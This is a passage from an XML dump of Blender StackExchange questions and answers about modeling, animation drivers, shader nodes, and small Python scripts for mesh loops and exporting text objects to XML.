  <row Id="27915" PostTypeId="2" ParentId="27911" CreationDate="2015-03-31T02:15:58.173" Score="2" Body="&lt;p&gt;How's this for a starting point? I took a simple grid mesh and applied edge creases to every other row:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9dWr3.png&quot; alt=&quot;Basic grid with creases&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...Scaled it down in one direction and then pulled the edges perpendicular to the creases up and down to build a crude series of parallel waves:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BViqQ.png&quot; alt=&quot;Scaled grid with crude waves&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...Then added a subdivision modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YOsjq.png&quot; alt=&quot;Waves smoothed with subdivision modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's plenty of room for improvement, but using edges as control points made it relatively simple to sculpt a basic wavy shape without too much hassle.&lt;/p&gt;&#xA;" OwnerUserId="1617" LastActivityDate="2015-03-31T02:15:58.173" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27916" PostTypeId="1" CreationDate="2015-03-31T03:40:45.980" Score="0" ViewCount="75" Body="&lt;p&gt;I may be mistaken, but I cant find anything on this, as I want to cut sections to create game levels that are continuous from a large plane.  It is being used as the environment, and I think 15km square will be too much to render when trees, buildings, and play is on it.  I want to keep the large plane, but set up so I can edit, and play on only sections of it, I think using the clipping will do it, but I am unsure of how to set it for just cutting sections at a time, while keeping the whole environment in tact.&lt;/p&gt;&#xA;" OwnerUserId="13206" LastActivityDate="2015-03-31T03:40:45.980" Title="How would you use a large plane, and be able to cut sections out if you needed?" Tags="&lt;selection-tools&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27917" PostTypeId="1" AcceptedAnswerId="27918" CreationDate="2015-03-31T04:35:12.770" Score="1" ViewCount="439" Body="&lt;p&gt;I have a &lt;code&gt;objectA&lt;/code&gt;, and when I add a &lt;code&gt;copy location&lt;/code&gt; constraint to it to another &lt;code&gt;objectB&lt;/code&gt; with influence &lt;code&gt;0&lt;/code&gt; at frame 10 and then add keyframe. Then on frame 11 I change the influence to &lt;code&gt;1&lt;/code&gt; and add a keyframe, but when I go back to any frame from 1-10 I find that the influence is &lt;code&gt;1&lt;/code&gt; as if it overwrote the inserted first keyframe which was inserted when the influence was &lt;code&gt;0&lt;/code&gt;. Any advice please?  &lt;/p&gt;&#xA;" OwnerUserId="2517" LastActivityDate="2015-03-31T10:50:26.537" Title="Keyframing constraints overwrite" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27918" PostTypeId="2" ParentId="27917" CreationDate="2015-03-31T04:54:46.357" Score="1" Body="&lt;p&gt;To keyframe the &lt;strong&gt;influence value&lt;/strong&gt; of the &lt;code&gt;copy location constraint&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set the influence value to &lt;strong&gt;0&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;go to the &lt;strong&gt;frame before&lt;/strong&gt; the value should change &lt;/li&gt;&#xA;&lt;li&gt;place the mouse cursor on top of the &lt;strong&gt;influence slider&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;I&lt;/kbd&gt; to insert a keyframe&lt;/li&gt;&#xA;&lt;li&gt;jump to the &lt;strong&gt;next frame&lt;/strong&gt; in the timeline with &lt;kbd&gt;→&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;set the infuence value to &lt;strong&gt;1&lt;/strong&gt; and press &lt;kbd&gt;I&lt;/kbd&gt; again&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qYx4A.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="3710" LastEditDate="2015-03-31T10:50:26.537" LastActivityDate="2015-03-31T10:50:26.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27919" PostTypeId="1" CreationDate="2015-03-31T06:44:02.973" Score="2" ViewCount="310" Body="&lt;p&gt;Im trying to solve a certain problem. i've tried several different approaches, but since i have not found any solution yet, i'm asking you guys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a rotating object(1). Now i want an other object(2) to change the value of it's shape-keys, for only the duration of one quarter of object 1's full 360° turn. (=90°)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NZkIx.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to keyframe the whole process because i have several rotating object, but they all rotate in different speeds and offsets. I want to be able to change the speed in which object 1 is turning without having to manually adjust object 2.&#xA;So i would like to use drivers for this task. But i have no idea of scripted expressions being any more complicated than e.g. var*.5 etc.&#xA;Can somebody show me a way (scripted expression) which delivers an output of 1 for the duration of a 90° rotation and 0 for the remaining 270°?&#xA;Or even an other approach. &lt;/p&gt;&#xA;" OwnerUserId="13504" LastActivityDate="2015-03-31T07:47:51.827" Title="Use driver to deliver output depending on the state of an objects rotation" Tags="&lt;drivers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27920" PostTypeId="1" AcceptedAnswerId="27962" CreationDate="2015-03-31T06:45:53.213" Score="3" ViewCount="1829" Body="&lt;p&gt;So here's whats happening. I marked all of my faces as freestyle. If I press 'clear freestyle face' the annoying green line over everything stays. Is there something I'm doing wrong or is it something different to freestyle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l0vCZ.png&quot; alt=&quot;Green lines&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9711" LastActivityDate="2015-04-01T13:28:30.653" Title="How to get rid of freestyle faces?" Tags="&lt;cycles-render-engine&gt;&lt;freestyle&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27921" PostTypeId="2" ParentId="27919" CreationDate="2015-03-31T07:47:51.827" Score="2" Body="&lt;p&gt;Angles 0-90° has positive cos and sin so we use this logic statements &lt;br/&gt; &lt;code&gt;cos(rot)&amp;gt;0 and sin(rot) &amp;gt;0&lt;/code&gt; which evaluate to 1 when the angle is 0-90° and 0 otherwise :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hthVE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note:&lt;/em&gt;&lt;/strong&gt; the angle is in radian &lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-31T07:47:51.827" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27922" PostTypeId="2" ParentId="26923" CreationDate="2015-03-31T08:21:09.843" Score="3" Body="&lt;p&gt;I'm using Blender 2.73 and three.js (r70)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The io_three folder has to be copied to blender's scripts/addon folder for the &quot;Import-Export: Three.js Format&quot; to appear. But this has probably been figured out by you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the export to three.js (.json) format you may want to include a few essential and additional attributes like vertices,faces,colors and materials for your model. By default, the following will be checked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tv4FI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the complexity of the image, you may get texture files in addition to the .json files. Use them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have to basically re-create the model using a scene, camera, renderer and animation loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tutorial with three.js basics --&gt; &lt;a href=&quot;http://www.kadrmasconcepts.com/blog/2011/06/08/three-js-blender-part-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.kadrmasconcepts.com/blog/2011/06/08/three-js-blender-part-2/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13515" LastActivityDate="2015-03-31T08:21:09.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27923" PostTypeId="2" ParentId="27878" CreationDate="2015-03-31T08:39:11.680" Score="2" Body="&lt;p&gt;Ok I am answering myself (If someone has another solution I will be happy to try it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that there is not direct API call in Blender that can get you the list of faces/edges in each subpart/loop of the mesh. Luckily it seems there is a very nice workaround to avoid looping through all edges of the mesh to find closed circles, and this is done by combining different mesh operators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this link for full explanation and code: &lt;a href=&quot;https://ammous88.wordpress.com/2015/03/31/blender-get-mesh-sub-groups-boundary-loops-in-python/&quot; rel=&quot;nofollow&quot;&gt;https://ammous88.wordpress.com/2015/03/31/blender-get-mesh-sub-groups-boundary-loops-in-python/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using bmesh:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;mesh_name = 'my_mesh'&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT', toggle=False) # Go to object mode&#xA;for ob in bpy.context.scene.objects:&#xA;    if ob.type == 'MESH' and ob.name == mesh_name:&#xA;        ob.select = True&#xA;bpy.ops.object.mode_set(mode='EDIT', toggle=False) # Go to edit mode&#xA;bpy.ops.mesh.select_all(action=&quot;DESELECT&quot;) # unselect everything&#xA;&#xA;bm = bmesh.from_edit_mesh(bpy.data.meshes[mesh_name]) # load mesh&#xA;bm.faces.ensure_lookup_table()&#xA;&#xA;loops = list()&#xA;faces = bm.faces&#xA;while faces:&#xA;        faces[0].select_set(True) # select 1st face&#xA;        bpy.ops.mesh.select_linked() # select all linked faces makes a full loop&#xA;        loops.append([f.index for f in faces if f.select])&#xA;        bpy.ops.mesh.hide(unselected=False) # hide the detected loop&#xA;        faces = [f for f in bm.faces if not f.hide] # update faces&#xA;&#xA;bpy.ops.mesh.reveal() # unhide all faces&#xA;print(&quot;Mesh has {} parts&quot;.format(len(loops)))&#xA;print(&quot;The first face in the first loop/subpart is {}&quot;.format(bm.faces[loops[0][0]]))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11026" LastEditorUserId="11026" LastEditDate="2015-04-01T15:12:23.647" LastActivityDate="2015-04-01T15:12:23.647" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27926" PostTypeId="2" ParentId="27868" CreationDate="2015-03-31T10:55:19.623" Score="3" Body="&lt;p&gt;This is an addon for writing text objects to .xml file and reading them back from the text file.&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;How to use:&lt;/em&gt;&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you have a file with text objects in one or multiple scenes&lt;/li&gt;&#xA;&lt;li&gt;have text objects&lt;/li&gt;&#xA;&lt;li&gt;export to an xml file (file-&gt;export-&gt;text to-from xml )&lt;/li&gt;&#xA;&lt;li&gt;edit text outside blender save the .xml&lt;/li&gt;&#xA;&lt;li&gt;in the first .blend file (with the objects and scenes ) use the addon to update text objects from the .xml file  ( this time select &lt;em&gt;read_objects&lt;/em&gt; in the left side of the file browser )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bAh3W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;install:&lt;/em&gt;&lt;/strong&gt; from the addons tab click install from file and select &lt;a href=&quot;http://www.pasteall.org/blend/35353&quot; rel=&quot;nofollow noreferrer&quot;&gt;this txt_xml.py&lt;/a&gt; file check the check-box to activate &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;UPDATE&lt;/em&gt;&lt;/strong&gt;&#xA;the &lt;a href=&quot;http://www.pasteall.org/blend/35353&quot; rel=&quot;nofollow noreferrer&quot;&gt;addon file txt_xml.py&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot; : &quot;text objects to-from xml&quot;,&#xA;    &quot;author&quot; : &quot;chebhou&quot;,&#xA;    &quot;version&quot; : (1, 0),&#xA;    &quot;blender&quot; : (2, 7, 3),&#xA;    &quot;location&quot; : &quot;file-&amp;gt;export-&amp;gt;text to-from xml&quot;,&#xA;    &quot;discription&quot; : &quot;copys an text objectx from-to xml file&quot;,&#xA;    &quot;warning&quot; : &quot;this add-on is extremly unusefull&quot;,&#xA;    &quot;wiki_url&quot; : &quot; chebhou@gmail.com&quot;,&#xA;    &quot;tracker_url&quot; : &quot;chebhou@gmail.com&quot;,&#xA;    &quot;category&quot; : &quot;Import-Export&quot;&#xA;    }&#xA;&#xA;import bpy&#xA;from bpy.types import Operator&#xA;from bpy_extras.io_utils import ExportHelper&#xA;from bpy.props import EnumProperty, BoolProperty&#xA;from xml.dom import minidom&#xA;from xml.dom.minidom import Document&#xA;&#xA;def txt_sync(filepath):&#xA;    dom = minidom.parse(filepath)&#xA;    scenes =dom.getElementsByTagName('scene')&#xA;    for scene in scenes:&#xA;        scene_name=scene.getAttribute('name')&#xA;        print(&quot;\n&quot;,scene_name)&#xA;        bl_scene = bpy.data.scenes[scene_name]&#xA;        txt_objs =scene.getElementsByTagName('object')&#xA;        for obj in txt_objs:&#xA;            obj_name = obj.getAttribute('name')&#xA;            obj_body = obj.childNodes[0].nodeValue &#xA;            bl_obj = bl_scene.objects[obj_name].data.body = obj_body&#xA;            print(obj_name,&quot;  &quot;,obj_body)&#xA;&#xA;def txt_export(filepath):&#xA;&#xA;    doc = Document()&#xA;    root = doc.createElement('data')&#xA;    doc.appendChild(root)&#xA;&#xA;    for sce in bpy.data.scenes :&#xA;        #create a scene&#xA;        scene = doc.createElement('scene')&#xA;        scene.setAttribute('name', sce.name)&#xA;        root.appendChild(scene)&#xA;&#xA;        for obj in sce.objects :&#xA;            if obj.type == 'FONT':   &#xA;                #add object element&#xA;                object = doc.createElement('object')&#xA;                object.setAttribute('name', obj.name)&#xA;                txt_node = doc.createTextNode(obj.data.body)&#xA;                object.appendChild(txt_node) &#xA;                scene.appendChild(object)&#xA;&#xA;    #write to a file&#xA;    file_handle = open(filepath,&quot;wb&quot;)&#xA;&#xA;    file_handle.write(bytes(doc.toprettyxml(indent='\t'), 'UTF-8'))&#xA;    file_handle.close()&#xA;&#xA;&#xA;class   text_export(Operator, ExportHelper):  &#xA;&#xA;    &quot;&quot;&quot;write and read text objects to a file&quot;&quot;&quot;        &#xA;    bl_idname = &quot;export_scene.text_xml&quot;  &#xA;    bl_label = &quot;text from-to xml&quot;     &#xA;    bl_options = {'REGISTER', 'UNDO'}    #should remove undo ? &#xA;&#xA;    # ExportHelper mixin class uses this&#xA;    filename_ext = &quot;.xml&quot;&#xA;&#xA;    #parameters and variables&#xA;    convert = EnumProperty(&#xA;                name=&quot;Convert&quot;,&#xA;                description=&quot;Choose conversion&quot;,&#xA;                items=(('W', &quot;write objects&quot;, &quot;write text objects to xml&quot;),&#xA;                       ('R', &quot;read objects&quot;, &quot;read text objects from xml&quot;)),&#xA;                default='W',&#xA;                )&#xA;&#xA;    #main function&#xA;    def execute(self, context): &#xA;        bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;        if self.convert == 'W':&#xA;            txt_export(self.filepath)&#xA;        else:&#xA;            txt_sync(self.filepath)&#xA;&#xA;        bpy.context.scene.update()&#xA;        self.report({'INFO'},&quot;Conversion is Done&quot;)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def menu_func_export(self, context):&#xA;    self.layout.operator(text_export.bl_idname, text=&quot;Text to-from xml&quot;)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(text_export)&#xA;    bpy.types.INFO_MT_file_export.append(menu_func_export)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(text_export)&#xA;    bpy.types.INFO_MT_file_export.remove(menu_func_export)&#xA;if __name__ == &quot;__main__&quot;:  &#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-01T12:27:35.800" LastActivityDate="2015-04-01T12:27:35.800" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27928" PostTypeId="1" CreationDate="2015-03-31T13:03:20.323" Score="5" ViewCount="549" Body="&lt;p&gt;I've already learned how to animate physic transformations with sound curves (scale, position...baking sound to F-Curve) but I wondered how to do the same thing with material (set a keyframe for the intensity of emission shader and then animate with the frequency of a wave sound) can I manage this with nodes (like object info? If the scale of my object is 200% then the intensity of my shader will be 100%) For instance: if the frequency of the wave sound is 100Hz the intensity of the emssion is 1...or, if the frequency is 1000Hz then the colour should be red or like so?&lt;/p&gt;&#xA;" OwnerUserId="13524" LastActivityDate="2015-05-14T10:32:10.273" Title="Animate material with a sound" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27929" PostTypeId="1" AcceptedAnswerId="28064" CreationDate="2015-03-31T13:33:01.640" Score="9" ViewCount="3339" Body="&lt;p&gt;I'm trying to create the waves made by a ship as is sails. I've had success doing this with vertex displacement, but as I'm going to use it in a large body of water and from a distance I can't subdivide the surface enough to keep everything running smoothly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This why I'm trying to do this with dynamic paint and using the output image sequence in the displacement node of of a glossy texture which acts as the water surface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I get some result in the wake, I don't get the V shaped bow wave normally found in a wake. See my test scene below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3XNKm.gif&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The settings I used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EjpzI.png&quot; alt=&quot;settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The displacement map that resulted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/osyki.png&quot; alt=&quot;displacement&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example I &lt;a href=&quot;http://www.planetinaction.com/software/shipwake.htm&quot; rel=&quot;noreferrer&quot;&gt;found online&lt;/a&gt; of what it should look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3MuN2.jpg&quot; alt=&quot;Proper displacement&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me get this right?&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2015-04-03T21:24:46.797" Title="Can't seem to get dynamic paint waves to behave correctly" Tags="&lt;dynamic-paint&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27930" PostTypeId="1" CreationDate="2015-03-31T13:52:45.420" Score="2" ViewCount="883" Body="&lt;p&gt;Is this missing in Blender 2.73?  I cannot find it.  I looked in the Input menu, but it's not there (using youtube tutorials)&lt;/p&gt;&#xA;" OwnerUserId="13525" LastEditorUserId="2217" LastEditDate="2015-03-31T14:06:14.880" LastActivityDate="2015-10-29T00:14:57.757" Title="Object Info Node" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27931" PostTypeId="2" ParentId="27930" CreationDate="2015-03-31T14:12:09.327" Score="2" Body="&lt;p&gt;On the Material Nodes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xIaIX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's on Input-&gt; Object_Info Node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b1Vck.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-31T14:12:09.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27932" PostTypeId="2" ParentId="27930" CreationDate="2015-03-31T14:13:32.140" Score="4" Body="&lt;p&gt;First you are have to be &lt;a href=&quot;https://blender.stackexchange.com/q/15681/2217&quot;&gt;using cycles&lt;/a&gt;. Also the node editor has to be editing the &lt;a href=&quot;http://www.blender.org/manual/composite_nodes/introduction.html#accessing-and-activating-nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Shader nodes&lt;/em&gt;&lt;/a&gt;.&lt;br&gt;&#xA;The shader node button is highlighted in the image below. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/WZHGi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WZHGi.png&quot; alt=&quot;node editor header&quot;&gt;&lt;/a&gt;&#xA;Then the &lt;em&gt;Object Info&lt;/em&gt; node will show up. &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Input&lt;/em&gt; &gt; &lt;em&gt;Object Info&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mj2Tc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-10-29T00:14:57.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27933" PostTypeId="1" CreationDate="2015-03-31T14:25:45.233" Score="4" ViewCount="2097" Body="&lt;p&gt;I am teaching a Blender class and my advanced students are animating a scene in Charleston Harbor set during the Civil War.  Since I am a CAD guy, creating a scaled version of a harbor chart using AutoCAD and Inventor was easy for me but creating a varied elevation was not.  I extruded the landscape to an elevation of 20 feet it is  flat.  I'd like some help finding an easy way to give the mesh a varied height based on the harbor chart shown below.  I plan to use the chart as a texture over everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the text I am using at &lt;a href=&quot;http://www.cdschools.org/cms/lib04/PA09000075/Centricity/Domain/81/BlenderBasics_4thEdition2011.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.cdschools.org/cms/lib04/PA09000075/Centricity/Domain/81/BlenderBasics_4thEdition2011.pdf&lt;/a&gt;.  On pages 32 &amp;amp; 33 of that text it shows a process similar to what I have in mind that divides a plane into squares and changes the height by selection and movement of vertices upward.  That would work for this but I don't know a way to make an accurate measurement of  height for movement of a mesh as large as the one I am using (8 x 10 nautical miles).  One can scale an object by typing the scale factor.  Can I move vertices up in that manner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way you can show me that allows me to paint height areas rather than to drag them up?  It would be great if I could add the harbor chart over the land areas as a texture and use it as a guide for changing the elevation of pertinent areas.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vQ12Y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8332" LastActivityDate="2015-11-29T22:26:09.140" Title="Creating a large landscape with accurately varied elevations" Tags="&lt;mesh&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27934" PostTypeId="1" CreationDate="2015-03-31T14:37:18.663" Score="6" ViewCount="4183" Body="&lt;p&gt;I'd like to make a glossy surface which reflects objects above it, but that also reflects a transparent background in the final render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in effect, the final render would contain only the reflections, not the surface itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible please?&lt;/p&gt;&#xA;" OwnerUserId="13020" LastEditorUserId="213" LastEditDate="2016-01-25T05:26:30.303" LastActivityDate="2016-01-26T00:00:10.710" Title="How can I reflect a transparent background?" Tags="&lt;cycles-render-engine&gt;&lt;transparency&gt;" AnswerCount="4" CommentCount="7" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27936" PostTypeId="2" ParentId="27934" CreationDate="2015-03-31T16:00:46.533" Score="8" Body="&lt;p&gt;You need to use a &lt;em&gt;Transparent&lt;/em&gt; shader, and a &lt;em&gt;Glossy BSDF&lt;/em&gt; shader, combined with an &lt;strong&gt;&lt;em&gt;Add Shader&lt;/em&gt;&lt;/strong&gt;, &lt;em&gt;not&lt;/em&gt; a mix shader. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;em&gt;Add&lt;/em&gt; shader gives a perfect result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Nodes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9QnSF.jpg&quot; alt=&quot;Node Setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dLK8H.jpg&quot; alt=&quot;Final Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you should normally use a Mix shader (greater realism) this is a perfect use case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is a comparison of the two methods:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Khhkr.gif&quot; alt=&quot;Comparison GIF&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorDisplayName="user1853" LastEditDate="2016-01-26T00:00:10.710" LastActivityDate="2016-01-26T00:00:10.710" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27937" PostTypeId="1" AcceptedAnswerId="27967" CreationDate="2015-03-31T16:08:12.597" Score="1" ViewCount="724" Body="&lt;p&gt;What are the formulas to calculate the 4 half-planes that define the camera's view volume?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inputs should be the camera's world matrix, focal length (and maybe sensor size?) and anything else I overlooked.  I am not interested in the clipping start/end, but extra credit if you include them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I plan to use this to calculate if an object would be visible to the camera, (which is slightly harder since the origin could be off-camera, but polygons could still be on-camera, but I can fudge that).&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-04-01T19:36:00.080" Title="What are the formulas to define the camera's view cone?" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27938" PostTypeId="2" ParentId="3666" CreationDate="2015-03-31T16:19:33.850" Score="1" Body="&lt;p&gt;If you want the Open EXR to save render for compositing you don't need to save all the frames to a single .exr file. The Image node can handle multiple .exr files. When creating the Image node in the compositor select all the generated .exr files. The image node will then present you with fields for setting the frame offset and looping options etc...&lt;/p&gt;&#xA;" OwnerUserId="13528" LastActivityDate="2015-03-31T16:19:33.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27942" PostTypeId="1" AcceptedAnswerId="27954" CreationDate="2015-03-31T18:53:28.980" Score="5" ViewCount="189" Body="&lt;p&gt;I want to create a new context-panel such as these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WI0jg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with Python? My own context-panel with my own custom panels inside it.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2015-04-01T08:09:33.950" Title="Is it possible to create a new type of context with Python?" Tags="&lt;python&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27943" PostTypeId="1" CreationDate="2015-03-31T19:46:59.217" Score="1" ViewCount="763" Body="&lt;p&gt;I am rendering a complex scene as here &lt;a href=&quot;http://www.pasteall.org/blend/35337&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/35337&lt;/a&gt; . I am using GPU GTX 460 on linux machine. I read a lot of tutorial of how to reduce rendering time and noise. I remark that number of bounces in my case does not reduce the time as expected. I am wondering that in my case, I did not use a lot of glossy materials may be!! And an other trick is In the node menu I setup the light as mentioned below. Does it the best way to do? Moreover, I remark that there is some noise even I used samples =100. Any expert of blender help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9YdIv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="11289" LastEditDate="2015-03-31T20:23:07.977" 